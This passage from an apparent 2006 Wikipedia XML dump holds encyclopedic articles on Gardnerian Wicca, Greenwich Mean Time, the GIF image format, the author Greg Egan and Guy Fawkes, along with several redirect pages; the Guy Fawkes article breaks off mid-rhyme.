Queen Victoria's Poet Laureate. Gardner's High Priestess, [[Doreen Valiente]] (1922-1999) wrote much of the most well-known poetry, including the much-quoted [[Charge of the Goddess]]. The core group grew slowly and in utter secrecy as Witchcraft was illegal in Britain at the time. When the Witchcraft Laws were replaced, in 1951, by the Fraudulent Mediums Act, Gerald Gardner went public, initially somewhat cautiously, but during the late 1950's and early 1960's (up until his death in 1964) even courting the attentions of the tabloid press, to the consternation of some of the other members of the tradition. Nevertheless, the increased publicity seems to have allowed Gardnerian Wicca to grow much more rapidly.

The oldest known Gardnerian Wicca coven is the North London coven, which originally met in the Witch's Cottage near the Five Acres naturist club in Bricket's Wood near London; it has operated continuously for over 50 years, since shortly after the end of the Second World War, and has included  many leading lights of Gardnerian Wicca including [[Gerald Gardner]], [[Doreen Valiente]], [[Lois Bourne]], and [[Jack Bracelin]].

Some American neopagans regard Gardnerian Wicca as a &quot;fundamentalist&quot; path, in that, at least as often practiced in America, it demands fairly strict adherence to the procedures and principles laid down by Gardner, as well as stringent requirements for [[initiation]]. As practiced in England, on the other hand, Gardnerian Wicca is often regarded as a mainstream Wiccan tradition, albeit an old-school one, and as less formal than [[Alexandrian Wicca]].

The most well known Covens of the original Gardnerian lineage are: New Forest, Bricket Wood, Rainbow wood, Isle of Man, Oak Tree, Sparrow, Isis Urania and Druid Oak.

[[Category:Wiccan traditions]]

{{Paganism-stub}}</text>
    </revision>
  </page>
  <page>
    <title>G-d</title>
    <id>12698</id>
    <revision>
      <id>15910366</id>
      <timestamp>2005-01-11T01:39:27Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Names of God in Judaism]]</text>
    </revision>
  </page>
  <page>
    <title>GMT</title>
    <id>12700</id>
    <revision>
      <id>15910368</id>
      <timestamp>2004-08-22T01:09:52Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <comment>most common usage prevails</comment>
      <text xml:space="preserve">#REDIRECT [[Greenwich_Mean_Time]]</text>
    </revision>
  </page>
  <page>
    <title>Greenwich Mean Time</title>
    <id>12701</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41981474</id>
      <timestamp>2006-03-03T00:53:40Z</timestamp>
      <contributor>
        <username>Adrian</username>
        <id>103917</id>
      </contributor>
      <comment>Reverted edits by [[User:150.108.93.211|150.108.93.211]] ([[User talk:150.108.93.211|t]]) ([[Special:Contributions/150.108.93.211|c]]) to last version by Monkeyman</comment>
      <text xml:space="preserve">{{dablink|For alternate meanings of &quot;GMT&quot;, see [[GMT (disambiguation)]].}}

'''Greenwich Mean Time''' ('''GMT''') is [[solar time|mean solar time]] at the [[Royal Greenwich Observatory]] in [[Greenwich]], [[London]], [[England]], which by convention is at 0 degrees geographic [[longitude]].  Noon Greenwich Mean Time is not necessarily the moment when the [[Sun]] crosses the [[Greenwich meridian]] (and reaches its highest point in the sky in Greenwich) because of Earth's uneven speed in its elliptic [[orbit]] and its axial tilt. This event may be up to 16 minutes away from noon GMT (this discrepancy is known as the [[equation of time]]). The fictitious mean sun is the annual average of this nonuniform motion of the true Sun, necessitating the inclusion of ''mean'' in Greenwich Mean Time.

{{Time zones of Europe}}

As Great Britain grew into an advanced maritime nation, British mariners kept their timepieces on GMT in order to calculate their longitude &quot;from the Greenwich meridian&quot;. This did not affect shipboard time itself, which was still solar time. This combined with mariners from other nations drawing from [[Nevil Maskelyne]]'s method of [[lunar distance]]s based on observations at Greenwich, eventually led to GMT being used world-wide as a reference time independent of location. Most [[time zone]]s were based upon this reference as a number of hours and half-hours &quot;ahead of GMT&quot; or &quot;behind GMT&quot;.

Hourly time signals from Greenwich Observatory were first broadcast on [[5 February]] [[1924]].

The daily rotation of the Earth is somewhat irregular (see [[Delta T|&amp;Delta;T]]) and is slowing down slightly. [[Atomic clock]]s represent a much more stable timebase.  On [[1 January]] [[1972]], GMT was replaced as the international time reference by [[Coordinated Universal Time]] (UTC), maintained by an ensemble of atomic clocks around the world. [[Universal Time|UT1]] was introduced to represent &quot;earth rotation time&quot;. [[Leap second]]s are added to or subtracted from UTC to keep it within 0.9 seconds of UT1.

Although civil time, e.g., the [[Greenwich Time Signal]] in [[Great Britain]], is now based on UTC, it is still popularly called GMT. It is also called [[Western European Time]] (WET).

Those countries marked in dark blue on the map at right use [[European Summer Time]] and advance their clock one hour in summer. In Great Britain, this is known as [[British Summer Time]] (BST); in Ireland it is called Irish Summer Time (IST). Those countries marked in light blue keep their clocks on UTC/GMT/WET year round.

In the military, GMT is often referred to as &quot;Zulu&quot; time, ie ''2000 Zulu'' would be 8:00pm in Greenwich.

==See also==
*[[Coordinated Universal Time]] (UTC)
*[[Universal Time]]
*[[Nautical mile]]
*[[Sidereal time]]
*[[Solar time]]
*[[Swatch Internet Time]]
*[[BPM (time service)|BPM]]
*[[CHU]]
*[[VNG]]
*[[WWV]]
*[[Western European Time]]
*[[Central European Time]]
*[[Eastern European Time]]
*[[Moscow Time]]
*[[Sandringham Time]]

==External links==
* [http://wwp.greenwichmeantime.com Greenwich Mean Time] 
* [http://physics.nist.gov/GenInt/Time/world.html NIST - World Time Scales] 
* [http://hpiers.obspm.fr/ International Earth Rotation and Reference Systems Service]


[[Category:Greenwich]]
[[Category:Time scales]]

[[de:Greenwich Mean Time]]
[[es:Greenwich Mean Time]]
[[eo:GMT]]
[[fr:Greenwich Mean Time]]
[[ko:그리니치 평균시]]
[[id:GMT]]
[[it:GMT]]
[[he:שעון גריניץ']]
[[nl:Greenwich Mean Time]]
[[ja:グリニッジ標準時]]
[[no:Greenwich Mean Time]]
[[pl:Czas uniwersalny]]
[[pt:GMT]]
[[ru:Среднее время по Гринвичу]]
[[sl:GMT]]
[[sv:GMT]]
[[tr:GMT]]
[[zh:格林尼治標準時間]]</text>
    </revision>
  </page>
  <page>
    <title>GIF</title>
    <id>12702</id>
    <revision>
      <id>41971285</id>
      <timestamp>2006-03-02T23:32:55Z</timestamp>
      <contributor>
        <ip>70.19.54.236</ip>
      </contributor>
      <comment>/* Alternatives */</comment>
      <text xml:space="preserve">[[Image:Rotating earth (small).gif|right|frame|A rotating globe in GIF format. If you look carefully at the seas you can see unevenness caused by the color reduction using an inappropriate technique.]]
&lt;!-- the artifacts in the seas would have been avoided if error diffusion, or a similar technique, had been used --&gt;
{{Infobox file format|
  name = Graphics Interchange Format
| extension = &lt;tt&gt;.gif&lt;/tt&gt;
| mime = &lt;tt&gt;image/gif&lt;/tt&gt;
| owner = [[CompuServe]]
| ostype = &lt;tt&gt;GIF &lt;/tt&gt;
| genre = [[bitmap]] [[Graphics file formats|image format]]
| containerfor = 
| containedby = 
| extendedfrom = 
| extendedto = 
}}
{{otheruses}}
'''GIF''' (Graphics Interchange Format) is a [[bitmap]] [[Graphics file formats|image format]] for pictures with up to 256 distinct colours from the over 16 million representable in [[truecolor|8 bit rgb]]. The format was introduced by [[CompuServe]] in [[1987]] and has since come into widespread usage on the [[World Wide Web]]. GIFs are [[data compression|compressed]] files, and were adopted to reduce the amount of time it takes to transfer images over a network connection.

A GIF file employs [[lossless data compression]] so that the file size of an image may be reduced without degrading the visual quality, provided the image fits into 256 colours. (However, there is a [[hack (technology slang)|hack]] that can overcome this limitation under certain circumstances; see [[#truecolour]].) The GIF format's 256-colour limitation makes it unsuitable for photographs, though losslessly compressed photographs tend to be unacceptably large for the web anyway. On the other hand the lossy [[JPEG]] format does badly on sharp transitions like those in diagrams, producing highly visible artifacts and little file-size reduction. Therefore GIF is normally used for diagrams, buttons, etc., that have a small number of colours, while the JPEG format is used for photographs.

Many software developers were caught by surprise when it was revealed that the GIF format had been patented by [[Unisys]], and that they would have to pay royalties for writing programs that generated (or displayed) GIF files. The desire for a comparable format with fewer legal restrictions (as well as fewer technical restrictions such as the number of colours) led to the development of the [[PNG]] (Portable Network Graphics) standard. Although the GIF patents will expire in the near future, PNG is still touted as a technically superior alternative, and has become the third most common image format on the web. The latest expiration date of the GIF-related patents will most probably be Friday, [[11 August]] [[2006]] [http://www.gnu.org/philosophy/gif.html].

==History==
The GIF format was introduced in [[1987]] by [[CompuServe]] in order to provide a colour image format for their file downloading areas, replacing their earlier [[run-length encoding|RLE]] format which was black and white only.  GIF became popular because it used [[LZW]] [[data compression]], which was more efficient than the [[run-length encoding]] that formats such as [[PCX]] and [[MacPaint]] used, and fairly large images could therefore be downloaded in a reasonable amount of time, even with very slow [[modem]]s.

The original version of GIF was called 87a.  In [[1989]], CompuServe devised an enhanced version, called 89a [http://www.w3.org/Graphics/GIF/spec-gif89a.txt], that added support for multiple images in a stream, interlacing and storage of application-specific metadata.  The two versions can be distinguished by looking at the first six [[byte|bytes]] of the file, which, when interpreted as [[ASCII]], read &quot;GIF87a&quot; and &quot;GIF89a&quot;, respectively.

When the World Wide Web gained popularity, GIF became one of the two image formats commonly used on Web sites, the other being the black and white [[XBM]]. [[JPEG]] came later with the Mosaic browser and truecolor displays.

The GIF89a feature of storing multiple images in one file, accompanied by control data, is used extensively on the web to produce simple [[computer animation|animations]].  The optional interlacing feature, which stored image scanlines out of order in such a fashion that even a partially downloaded image was somewhat recognizable, also helped GIF's popularity, as a user could abort the download if it was not what was required.

GIF images are limited to 256 colours, though it is possible to [[hack (technology slang)|hack]] around this limitation, under certain circumstances, using the animation feature (see [[#truecolour|colour]]).

==Pronunciation==
Some English-speakers pronounce the acronym 'GIF' with a [[Stop consonant|plosive]] (as in the word &quot;gift&quot;). Others pronounce it with an [[Affricate consonant|affricate]] (as in the word &quot;giraffe&quot;). There is evidence, including comments from Bob Berry, one of the format's creators, suggesting the affricate pronunciation is correct.  Further evidence of the affricate pronunciation comes from Steve Wilhite, another one of the format's creators, who suggested that &quot;Choosy programmers choose GIF&quot;, which suggests using the pronunciation of a popular brand of peanut butter.

The creators of the file format pronounced the acronym as &quot;JIF&quot; during its unveiling presentation in the 1980's.  This form remains the more popular method of pronouncing the file format as a spoken word, while most Macintosh users and Photographic artists still pronounce it as GIF&quot;, like &quot;Gift&quot;.

The basic pronunciation of a word like GIF suggests that when a consonant (G) is immediately followed by a vowel (I) the consonant's sound is elongated, so the G should be pronounced as &quot;G&quot;, bound with the i and f, correctly pronounced &quot;GHIF&quot;.

==Unisys and LZW patent enforcement==

The LZW compression algorithm was covered by {{US patent|4,558,302}}, owned by [[Unisys Corporation]].  When CompuServe first developed the GIF format, they did not know that LZW was covered by a [[patent]]. In December [[1994]], after Unisys discovered that the newly-popular file format used LZW compression, they announced that they would be seeking royalties on that patent; all commercial programs capable of producing GIF files would be required to pay a license fee to Unisys.

By this time, GIF was in such widespread use that most companies producing these programs had little choice but to pay.  These problems were one factor leading to the development of the [[PNG]] format, which has become the third common image format on the Web after GIF and [[JPEG]].

In late August 1999, Unisys terminated its royalty-free LZW technology licenses for free software and non-commercial proprietary software and even for individual users of unlicensed programs, prompting the [[League for Programming Freedom]] to launch the Burn All GIFs campaign to inform the public of the alternatives.

Many legal experts have concluded that the patent does not cover devices that can only uncompress LZW data and cannot compress it; for this reason, the popular [[gzip]] program can read .Z files but cannot write them.

On [[June 20]], [[2003]], the United States patent on the LZW algorithm expired [http://www.unisys.com/about__unisys/lzw], which means that Unisys and Compuserve can no longer collect royalties for use of the GIF format in that country. Those bothered with the patent enforcement dubbed this day GIF Liberation Day. The equivalent patents in Europe and Japan expired on [[June 18]] and [[June 20]] [[2004]] respectively, with the Canadian patent following on [[July 7]].

IBM has also patented the LZW algorithm, but has never enforced this patent. According to the [[Free Software Foundation]] that patent will expire on [[August 11]] [[2006]] in the United States.

==Usage==
Even with the general adoption of [[broadband]], the size of downloads continues to be a critical issue on the [[world wide web]]. Large web pages have a negative effect on user experience by being slow to render. Large web pages are also more expensive for their owners, who pay based on the amount of data transferred by their site. Therefore GIF's compression makes it desirable as an image format for use on webpages.

Apart from the [[SWF]] format of [[Macromedia Flash]], GIF is the only widely used [[Graphics file format|image format]] to support animation. It is frequently used to make small animations and short, low-resolution films for web pages.

Most web page logos and design element images are GIF or PNG because those are designed to successfully compress images that contain large blocks of the same colour or of repeating patterns; [[JPEG]] cannot compress areas of flat, clean colour with sharp transitions well.

JPEG is preferred for [[digital photography|digital photographs]] because it allows images to contain more than 16 million different colours (GIF gives a choice of only 256 of those colours per image) and it compresses photographs better.  Uncompressed bitmap formats like [[Windows bitmap]] are sometimes preferred for images in [[computer software]] when speed is more important than reduced file size, because uncompressed bitmaps can be displayed more quickly.

==Color==
GIF is palette based: although any [[color|colour]] can be one of millions of shades, the maximum number of colours available for each frame is 256, which are stored in a &quot;palette&quot;, a table which associates each colour number with an actual colour value. The limitation to 256 colours seemed reasonable at the time of GIF's creation because few people had the hardware to display more. Simple graphics, line drawings, cartoons, and grayscale photographs typically need fewer than 256 colours. Optionally, one of the colours in the palette can be set as transparent, hence achieving simple binary transparency.

There exist ways to [[dithering|dither]] colour photographs by alternating pixels of 2 or more different colours to approximate an in-between colour, but this transformation inevitably loses some detail, and the [[algorithm]]s to select colours and to perform the dithering vary widely in output quality, giving dithering a possibly unwarranted bad reputation. Additionally, dithering significantly reduces the image's compressibility and thus works contrary to GIF's main purpose.

In the early days of graphical web browsers 256 color screens were common and it was fairly common to make GIF images using the [[Web_colors#Web-safe_colors|websafe palette]] which was based on the common parts of the standard Windows and Mac palettes. This ensured predictable display on 256 color screens but severely limited the choice of colors. Now that truecolour screens are the norm, optimised palettes make more sense when creating 256 color images, though there are still many sites on web design that advise use of the websafe palette.

&lt;div id=truecolour&gt;&lt;/div&gt;&lt;!--anchor for internal link--&gt;
&lt;!--need more info on how this works, where this does and doesn't work and what if any tools can produce them (so far the only thing I've found is angif which is just a library not a tool in itself) [[User:Plugwash|Plugwash]] 13:46, [[18 April]] [[2005]] (UTC)--&gt;
GIF89a was designed based on the principle of rendering images (known as frames when used for animation) to a logical screen. Each image could optionally have its own palette, and the format provides flags to specify delay and waiting for user input (not widely supported by viewers) between them. This is the feature that is used to create animated GIFs, but it can also be used to losslessly store a 24-bit RGB ([[truecolour]]) image by splitting it up into pieces small enough to be encoded into a 256 colour palette and setting up the GIF to render these with no delay on the logical screen ([http://phil.ipal.org/tc.html demo]). Unfortunately, most web browsers seem to assume that this multi-image feature will only be used for animation and insert a minimum delay between images. There will be some file size bloat from doing this, especially if the encoder doesn't support LZW for patent reasons. There are very few tools around that can easily produce truecolor GIFs, and it is rarely an appropriate format unless there is absolutely no other option.

==Alternatives==
The [[PNG]] format was specifically designed to replace GIF for use as a single-image web format. PNG offers better compression and more features than GIF. The format is rapidly replacing GIF for still images, mostly on web sites of computer enthusiasts protesting Unisys's license policies and on some [[webcomic]] sites that take advantage of PNG's tighter compression to save on internet [[bandwidth]] charges.

All the features of GIF except animation are supported by PNG. As new [[web browser]]s support PNG, most GIF images could be replaced by PNG images. Unfortunately many people are under the misconception that [[Internet Explorer]] does not support transparent pngs. This results from confusion of [[alpha channel]] transparency (which GIF does not offer) with [[binary transparency]] (which Internet Explorer supports for both GIF and PNG images).

The mistaken belief that PNG files are larger than GIF for the same images can generally be traced back to one of two things:
* People making the unfair comparison of the file size of 8 bit GIF with 24 bit PNG.
* The poor PNG support in older versions of [[Adobe Photoshop]].

[[MNG]], the animation-supporting relative of PNG, reached version 1.0 in [[2001]], but few applications support it. It has therefore had little impact on the use of GIFs for animation. Today animations may be the only field where GIF is needed, because of the lack of web browser support for MNG.

In [[2004]], a proposed extension to the PNG format, called [[APNG]] was suggested.  It would add the ability to animate PNG files, while retaining backwards compatibility in decoders which cannot understand the animation chunk.  Such decoders would simply display it as though it were a single image PNG file.

==Miscellaneous==
The [[MIME]] media type for GIF is image/gif (defined in [[Request for Comments|RFC]] 1341).

==See also==
*[[Windows Picture and Fax Viewer]]
*[[Image file formats]]
*[[Software patent]]
*[[Comparison of layout engines (graphics)]]

==External links==
*[http://www.w3.org/Graphics/GIF/spec-gif89a.txt GIF89a specification]
*[http://www.compression-links.info/GIF List of GIF resources]
*[http://www.gifs.net GIFs.net] - More then 14000 animated GIFs free for non-commercial use.

*Links related to the gif patent issue
**[http://burnallgifs.org Burn All GIFs] - a site providing information about the ramifications of the LZW patent, advocating the abandonment of the format
**[http://www.gnu.org/philosophy/gif.html Why There Are No GIF files on GNU Web Pages]
**[http://www.cloanto.com/users/mcb/19950127giflzw.html The GIF Controversy: A Software Developer's Perspective] (by Michael C. Battilana)
**[http://lpf.ai.mit.edu/Patents/patents.html#GIF The GIF situation] (by the League of Programming Freedom)

[[Category:Graphics file formats]]
[[Category:CompuServe]]

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    </revision>
  </page>
  <page>
    <title>Germ warfare</title>
    <id>12703</id>
    <revision>
      <id>15910371</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Biological warfare]]
</text>
    </revision>
  </page>
  <page>
    <title>GPMG</title>
    <id>12704</id>
    <revision>
      <id>18252829</id>
      <timestamp>2005-07-06T11:31:08Z</timestamp>
      <contributor>
        <username>GraemeLeggett</username>
        <id>187158</id>
      </contributor>
      <comment>redirect sorting</comment>
      <text xml:space="preserve">#REDIRECT [[general purpose machine gun]]</text>
    </revision>
  </page>
  <page>
    <title>Greg Egan</title>
    <id>12706</id>
    <revision>
      <id>38066150</id>
      <timestamp>2006-02-03T23:07:57Z</timestamp>
      <contributor>
        <username>MK2</username>
        <id>162389</id>
      </contributor>
      <minor />
      <comment>added living people cat</comment>
      <text xml:space="preserve">'''Greg Egan''' ([[August 20]], [[1961]], [[Perth, Western Australia]]) is an [[Australia]]n computer programmer and [[science fiction author]]. He holds a Bachelor of Science degree in Mathematics from the [[University of Western Australia]]. Egan currently lives in Perth.

Egan specialises in [[hard science fiction]] stories with [[mathematics|mathematical]] and [[quantum ontology]] themes, including the nature of [[consciousness]]. Other themes include [[genetics]], [[simulated reality]], [[mind transfer]], [[quantum ontology]], [[sexuality]], [[artificial intelligence]], and the superiority of [[rational materialism]] over [[religion]].  He is a [[Hugo Award]] winner (and has been shortlisted for the Hugos three other times), and has also won the [[Campbell award (best novel)|John W Campbell Memorial Award for Best Novel]]. Some of his earlier short stories feature strong elements of [[horror fiction|supernatural horror]].

Egan's short stories have been published in a variety of genre magazines, including regular appearances in ''[[Interzone]]'' and ''[[Asimov's Science Fiction]]''.

His [[1994]] novel ''[[Permutation City]]'' was a highly praised exploration of the copying of human personalities or minds.  The protagonist challenges his society's understanding (and the reader's) of 'copies', and of identity, computing, the laws of physics and reality.

He has recently been active on the issue of [[refugee]] rights in Australia.

==Trivia==
In an issue of the [[Top 10]] [[comic book]], an [[Artificial intelligence|AI]] officer is asked whether he would have ethical issues with transferring his mind into a new body for purposes of undercover work. He answers that, as he is a &quot;High Church Eganite&quot;, he would have no problem.

== Works ==
===Novels===
* ''[[An Unusual Angle]]'' ([[1983 in literature|1983]]) (not science fiction)
* ''[[Quarantine (novel)|Quarantine]]'' ([[1992 in literature|1992]])
* ''[[Permutation City]]'' ([[1994 in literature|1994]])
* ''[[Distress (novel)|Distress]]'' ([[1995 in literature|1995]])
* ''[[Diaspora (novel)|Diaspora]]'' ([[1997 in literature|1997]])
* ''[[Teranesia]]'' ([[1999 in literature|1999]])
* ''[[Schild's Ladder]]'' ([[2002 in literature|2002]])
===Collections===
* ''[[Axiomatic (story collection)|Axiomatic]]'' ([[1995 in literature|1995]])
* ''[[Our Lady of Chernobyl]]'' ([[1995 in literature|1995]])
* ''[[Luminous (story collection)|Luminous]]'' ([[1998 in literature|1998]])
* ''[[Oceanic and Other Stories]]''
===Short stories===
====Stories collected in ''Axiomatic''====
* &quot;The Infinite Assassin&quot;
* &quot;The Hundred Light-Year Diary&quot;
* &quot;Eugene&quot;
* &quot;The Caress&quot;
* &quot;[[Hackers (short stories)#Blood Sisters|Blood Sisters]]&quot;
* &quot;Axiomatic&quot;
* &quot;The Safe-Deposit Box&quot;
* &quot;Seeing&quot;
* &quot;A Kidnapping&quot;
* &quot;Learning to Be Me&quot;
* &quot;The Moat&quot;
* &quot;The Walk&quot;
* &quot;The Cutie&quot;
* &quot;Into Darkness&quot;
* &quot;Appropriate Love&quot;
* &quot;The Moral Virologist&quot;
* &quot;Closer&quot;
* &quot;Unstable Orbits in the Space of Lies&quot;'
====Stories collected in ''Luminous''====
* &quot;Chaff&quot;
* &quot;Mitochondrial Eve&quot;
* &quot;Luminous&quot;
* &quot;Mister Volition&quot;
* &quot;Cocoon&quot;
* &quot;Transition Dreams&quot;
* &quot;Silver Fire&quot;
* &quot;Reasons to Be Cheerful&quot;
* &quot;Our Lady of Chernobyl&quot;
* &quot;The Planck Dive&quot;
====Other stories====
* [http://gregegan.customer.netspace.net.au/MISC/SINGLETON/Singleton.html &quot;Singleton&quot;]
* [http://gregegan.customer.netspace.net.au/MISC/ORACLE/Oracle.html &quot;Oracle&quot;]
* [http://gregegan.customer.netspace.net.au/SCHILD/Connect/Connect.html &quot;Only Connect&quot;]
* [http://gregegan.customer.netspace.net.au/BORDER/Border.html &quot;Border Guards&quot;]
* [http://gregegan.customer.netspace.net.au/OCEANIC/Oceanic.html &quot;Oceanic&quot;]
* [http://www.infinityplus.co.uk/stories/yeyuka.htm &quot;Yeyuka&quot;]
* [http://www.infinityplus.co.uk/stories/tap.htm &quot;TAP&quot;] 
* [http://www.infinityplus.co.uk/stories/worth.htm &quot;Worthless&quot;]
* [http://gregegan.customer.netspace.net.au/HORROR/VAMPIRES/Vampires.html &quot;Mind Vampires&quot;]
* &quot;[[Neighbourhood Watch (short story)|Neighbourhood Watch]]&quot;
* &quot;Wang's Carpets&quot;
* &quot;Reification Highway&quot;
* &quot;Dust&quot;
* &quot;Before&quot;
* &quot;Fidelity&quot;
* &quot;The Demon's Passage&quot;
* &quot;In Numbers&quot;
* &quot;The Vat&quot;
* &quot;The Extra&quot;
* &quot;Beyond the Whistle Test&quot;
* &quot;Scatter My Ashes&quot;
* &quot;Tangled Up&quot;
* &quot;The Way She Smiles, The Things She Says&quot;
* &quot;Artifact&quot;
* &quot;Orphanogenesis&quot;

==Awards==
* ''Permutation City'': [[John W. Campbell Memorial Award]] ([[1995 in literature|1995]])
* &quot;Oceanic&quot;: [[Hugo Award]], [[Locus Award]], [[Asimov's Readers Award]] ([[1998 in literature|1998]])

==External links==
* [http://dmoz.org/Arts/Literature/Genres/Science_Fiction/Authors/E/Egan,_Greg/ Open Directory category: Greg Egan]
* [http://gregegan.customer.netspace.net.au/ Greg Egan's homepage]
* [http://freesfonline.de/authors/egan.html Greg Egan's online fiction] at [http://freesfonline.de/ Free Speculative Fiction Online]

{{wikiquote}}

[[Category:1961 births|Egan, Greg]]
[[category:Australian science fiction writers|Egan, Greg]]
[[Category:Hugo Award winning authors|Egan, Greg]]
[[Category:People of Perth|Egan, Greg]]
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[[Category:Living people|Egan, Greg]]

[[bg:Грег Еган]]
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  <page>
    <title>Guy Fawkes</title>
    <id>12707</id>
    <revision>
      <id>42113678</id>
      <timestamp>2006-03-03T22:33:51Z</timestamp>
      <contributor>
        <ip>154.5.44.87</ip>
      </contributor>
      <comment>/* Gunpowder Plot */</comment>
      <text xml:space="preserve">[[Image:Fawkes_portrait.jpg|thumb|180px|right|]]
'''Guy Fawkes''' ([[April 13]], [[1570]]&amp;ndash;[[January 31]], [[1606]]), an [[England|English]] [[soldier]], was a member of a group of [[Roman Catholic]] conspirators who attempted to carry out the so-called [[Gunpowder Plot]] in [[1605]], in an attempt to [[Assassination|assassinate]] [[King James I of England]] (James VI of Scotland) and the members of both houses of the [[Parliament]] of [[England]]. To do this, the [[House of Lords]] was to be blown up during the formal opening of the 1605 session of Parliament and the House of Commons, the members seated in a joint sitting for the opening. Guy Fawkes was in large part responsible for the latter stages of the plan's execution. His activities were detected, however, before the plan's completion. Following a severe interrogation, involving the use of [[torture]], Fawkes and his co-conspirators were executed for [[treason]] and [[attempted murder]].Guy Fawkes is remembered on November 5th.

==Early life==
Fawkes (whose surname is sometimes also given as &quot;Faukes&quot;) was born in [[Stonegate]] in [[York]], where he was baptised in the church of [[St. Michael-le-Belfry]]. He attended [[St. Peter's School]]. He was the only son of [[Edward Fawkes]] of York and his wife Edith Blake.  He grew up to be tall and of an athletic build with brown hair and a moderately brown beard. Fawkes converted to [[Catholicism]] around the age of 16, according to his admission of [[recusancy]] at his preliminary [[interrogation]] following his capture.

He served for many years as a [[soldier]], gaining considerable expertise with explosives. In 1593 he enlisted in the army of [[Archduke Albert (1559-1621)|Archduke Albert of Austria]] in the [[Netherlands]], fighting against the [[Protestant]] [[Dutch Republic|United Provinces]] in the [[Eighty Years' War]]. In 1596 he was present at the siege and capture of [[Calais]]. By 1602, however, he had still risen no higher than the rank of [[Ensign (rank)|ensign]]. While serving in the Spanish Army in the Netherlands, he adopted the Spanish form (Guido, pronounced &quot;ghee-do&quot;) of his French/English name (Guy, pronounced &quot;ghee&quot;).

==Gunpowder Plot==
[[Image:fawkes_arrest2.jpg|thumb|280px|right|The Gunpowder Conspirators are discovered and Guy Fawkes is caught in the cellar of the Houses of Parliament with the explosives.]]
{{main|Gunpowder Plot}}
Guy Fawkes is most famous for his involvement in the Gunpowder Plot of 1605, which he was placed in charge with executing due to his military and explosives experience.  The plot, masterminded by [[Robert Catesby]], was a failed attempt by a group of provincial English Roman Catholic conspirators to kill King James I of England and VI of Scotland, his family, and most of the Protestant aristocracy in one swoop by blowing up the [[Palace of Westminster|Houses of Parliament]] during its [[State Opening of Parliament|State Opening]].  Guy Fawkes was first introduced to Robert Catesby by a man named [[Hugh Owen (plotter)[[Hugh Owen]].

Fawkes and the other conspirators were able to rent a cellar beneath the House of Lords.  By March 1605, they had hidden approximately 2.5 tonnes of [[gunpowder]] in the cellar, with the intent of detonating it during the State Opening of Parliament.  Several of the conspirators were concerned, however, about fellow Catholics who would have been present at parliament during the opening.  One of the conspirators had written a letter of warning to Lord Monteagle, who received it on [[October 26]].  The conspirators became aware of the letter the following day, but they resolved to continue the plot after Fawkes had confirmed that nothing had been touched in the cellar.

Lord Monteagle had been suspicious, however, and the letter was sent to the secretary of state who initiated a search of the vaults beneath the House of Lords.  Fawkes was discovered and arrested during a raid on the cellar in the early morning of [[November 5]]. He was tortured over the next few days, after special permission to do so had been granted by the King. Eventually, he revealed the names of his co-conspirators (who were either already dead or whose names were known to the authorities).  On [[January 31]], Fawkes, Wintour, and a number of others implicated in the [[conspiracy]] were taken to [[Old Palace Yard]] in [[Westminster]], where they were [[Drawing and quartering|hanged, drawn, and quartered]].

==Legacy==
[[Image:Guy fawkes torture signatures.jpg|thumb|right|Guy Fawkes signature before (bottom) torture and after (top).]]
The significance of the Gunpowder Plot, with Guy Fawkes being its central figure, has meant that his name remains well recognised.  The complete story, his motivations, and the role of his co-conspirators are often simplified or ignored, however.

===Language===
In an example of [[semantic progression]], Guy Fawkes' name is also the origin of the word &quot;[[guy]]&quot; in the [[English language]], particularly in [[American English|American spoken English]]. The burning on 5 November of an effigy of Fawkes, known as a &quot;guy&quot;, led to the use of the word &quot;guy&quot; as a term for &quot;a person of grotesque appearance,&quot; according to the [[Oxford English Dictionary]].  Over time, the word evolved to become a general reference for a man, as in &quot;some guy called for you.&quot; In the 20th century, under the influence of [[American popular culture]], &quot;guy&quot; gradually replaced &quot;fellow,&quot; &quot;bloke,&quot; &quot;chap&quot; and other such words in many English speaking countries.

===Literature===

[[Image:Lewes Bonfire, Guy Fawkes effigy.jpg|thumb|180px|right|[[Effigy]] of Guy Fawkes, being paraded by the Cliffe Bonfire Society as part of the [[Guy_Fawkes_Night|Bonfire Night]] celebrations in [[Lewes#Lewes bonfire|Lewes]], Sussex.]]

The story of Guy Fawkes helped to inspire certain situations in [[Alan Moore]]'s post-nuclear [[dystopia]]n [[science fiction]] [[graphic novel]] of a fascist Britain, ''[[V for Vendetta]]''. The story revolves around the main character, V, who in the words of the book's artist [[David Lloyd]] is portrayed as &quot;a resurrected Guy Fawkes.&quot; In the story, V finally explodes the abandoned parliament buildings on a future November 5 as his first move to bring down the nation's [[fascism|fascist]] [[tyrant|tyranny]].  [[Charles Dickens]] also referred to Fawkes quite often, particularly in his history of England, but also with references in his novels.  The poet [[T. S. Eliot]] also mentions Guy Fawkes in the epigraph for his poem ''[[The Hollow Men]]'', &quot;A penny for the old guy&quot;.  [[Fawkes]], the [[Phoenix (mythology)|phoenix]] that appears in the ''[[Harry Potter]]'' books, is named after [[Guy Fawkes]]. A parallel has been drawn between Fawkes' owner [[Albus Dumbledore]]'s [[Order of the Phoenix]] and the conspirators of the [[Gunpowder Plot]]. The central character of [[Ray Bradbury]]'s [[Fahrenheit 451]], Guy Montag, can be considered an allusion to Guy Fawkes only in that the two share the same name and are associated with large fires.

===General popularity===
Guy Fawkes appears in the 2002 list of &quot;[[100 Greatest Britons]]&quot;, sponsored by the [[BBC]] and voted for by the public.  The list ranks him alongside others such as [[David Beckham]], [[Aleister Crowley]], [[Winston Churchill]] and [[Johnny Rotten]].  He was also included in a list of the 50 greatest people from Yorkshire.  Although Guy Fawkes' actions have been considered acts of terrorism by many people, cynical Britons, who criticise the integrity of [[politician]]s, sometimes joke that he was the only man to go to Parliament with honourable intentions.

Guy Fawkes is documented in many movie newsreels (see the archives of British Pathe and Movie Tone).  The discovery of the plot, the celebration, and Guy Fawkes are also mentioned in many popular songs and ballads.  Notably, in [[The Smiths]] album ''[[The Queen is Dead]]'' vinyl version, the text &quot;Guy Fawkes was a genius&quot; is carved near the centre of the record.

A popular English rhyme is often quoted on [[Guy Fawkes Night]], in memory of the [[Gunpowder Plot]]:


''&quot;Remember, remember, the 5th of November''

''Gunpowder, treason and plot;''

''I know of no reason, why the gunpowder treason''

